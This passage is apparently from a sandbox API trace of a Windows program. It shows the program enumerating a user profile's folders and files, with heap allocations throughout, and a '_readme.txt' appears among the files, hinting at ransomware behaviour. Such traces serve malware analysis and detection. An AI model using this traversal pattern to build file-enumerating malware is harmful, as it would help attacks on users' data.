ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde588 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde4d8 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde378 [0119.754] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde4d8 | out: hHeap=0x5e0000) returned 1 [0119.754] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde588 | out: hHeap=0x5e0000) returned 1 [0119.754] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb924330, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xdb924330, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0119.754] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdb8fe1d0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0119.754] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0119.754] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0119.754] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0119.754] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0119.754] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0119.754] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda51190, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbda51190, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde588 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde4d8 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x214) returned 0x3093b88 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde320 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde6e8 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde740 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde798 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0119.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0119.755] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde7f0 [0119.755] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x3095938 [0119.755] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde848 [0119.755] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x30959a0 [0119.755] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde8a0 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde3d0 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095798 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde5e0 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095800 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095868 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30958d0 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde690 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde530 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde378 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f84e20 | out: hHeap=0x5e0000) returned 1 [0119.755] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde378 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde4d8 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde588 | out: hHeap=0x5e0000) returned 1 [0119.755] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0119.755] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde588 [0119.755] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde588 | out: hHeap=0x5e0000) returned 1 [0119.755] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0119.755] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0119.755] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0119.755] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0119.755] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde588 [0119.755] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde4d8 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde530 [0119.756] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde4d8 | out: hHeap=0x5e0000) returned 1 [0119.756] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde588 | out: hHeap=0x5e0000) returned 1 [0119.756] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x30958d0 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x3095868 [0119.756] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30958d0 | out: hHeap=0x5e0000) returned 1 [0119.756] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0119.756] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde588 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde4d8 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde690 [0119.756] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde4d8 | out: hHeap=0x5e0000) returned 1 [0119.756] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde588 | out: hHeap=0x5e0000) returned 1 [0119.756] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde588 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde4d8 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde638 [0119.756] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde4d8 | out: hHeap=0x5e0000) returned 1 [0119.756] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde588 | out: hHeap=0x5e0000) returned 1 [0119.756] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x30958d0 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x310) returned 0x3093da8 [0119.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde588 [0119.756] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0119.756] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda04ed0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbda04ed0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0119.756] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe8a940, ftCreationTime.dwHighDateTime=0x1d52ab3, ftLastAccessTime.dwLowDateTime=0xffe8a940, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xffe8a940, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0119.756] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe8a940, ftCreationTime.dwHighDateTime=0x1d52ab3, ftLastAccessTime.dwLowDateTime=0xffe8a940, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xffe8a940, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0119.757] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.757] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb268 | out: hHeap=0x5e0000) returned 1 [0119.757] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.757] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0119.757] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.757] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.757] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.757] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.757] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.757] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.757] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.757] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.757] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.757] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.757] PathFindFileNameW (pszPath="") returned="" [0119.757] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.757] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde690 | out: hHeap=0x5e0000) returned 1 [0119.757] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.757] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcdc26f50, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xcdc26f50, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0119.757] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0119.758] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbdd4ad10, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbdd4ad10, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0119.758] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbdd4ad10, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbdd4ad10, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0119.758] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.758] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.758] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.758] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.758] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0119.758] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.758] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.758] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.758] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.758] PathFindFileNameW (pszPath="") returned="" [0119.758] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbdd4ad10, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbdd4ad10, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0119.758] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30181a0 | out: hHeap=0x5e0000) returned 1 [0119.758] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.758] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0119.759] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.759] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0119.759] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.759] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.759] HeapFree (in: hHeap=0x5e0000, 